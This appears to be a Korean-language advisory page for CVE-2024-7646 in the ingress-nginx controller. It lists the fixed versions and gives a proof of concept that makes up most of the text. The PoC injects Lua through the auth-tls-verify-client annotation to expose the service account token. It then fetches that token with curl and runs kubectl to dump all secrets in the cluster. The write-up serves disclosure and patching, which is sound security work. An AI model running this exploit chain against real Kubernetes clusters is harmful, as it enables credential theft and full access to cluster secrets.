CVE-2024-7646

설명

기본적으로 nginx.ingress.kubernetes.io/server-snippet은 비활성화되어 있지만, 이 CVE로 인해 nginx.ingress.kubernetes.io/auth-tls-verify-client를 통해 사용자 지정 스니펫을 삽입하거나 Lua 코드까지 포함할 수 있습니다.

수정 버전

ingress-nginx controller v1.11.2 - kubernetes/ingress-nginx#11719 및 kubernetes/ingress-nginx#11721로 수정됨 ingress-nginx controller v1.10.4 - kubernetes/ingress-nginx#11718 및 kubernetes/ingress-nginx#11722로 수정됨

PoC

Ingress를 생성할 권한이 필요합니다

openssl genrsa -out ca.key 2048
openssl req -new -x509 -key ca.key -out ca.crt -days 365 -subj "/CN=ca"
kubectl create secret generic ca-secret --from-file=ca.crt=ca.crt
kubectl apply -f - <<EOF
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: cve-ingress
  namespace: default
  annotations:
    nginx.ingress.kubernetes.io/auth-tls-secret: default/ca-secret
    nginx.ingress.kubernetes.io/auth-tls-verify-client: "off;\r\nlocation /token{\r\ncontent_by_lua_block{\r\nfile = io.open('/var/run/secrets/kubernetes.io/serviceaccount/token','r')\r\nngx.say(file:read('*a'))\r\nngx.exit(ngx.HTTP_OK)\r\n}\r\n}\r\nset \$test true"
spec:
  rules:
    - host: test.ingress.io
      http:
        paths:
          - pathType: Prefix
            path: /test
            backend:
              service:
                name: test-service
                port:
                  number: 8080
EOF

기본 구성에서 해당 자격 증명은 클러스터의 모든 시크릿에 접근할 수 있습니다.

TOKEN=$(curl 127.0.0.1:8080/token  -H "Host: test.ingress.io")
kubectl --token=$TOKEN get secret -A -o yaml

cve-2024-7646

인기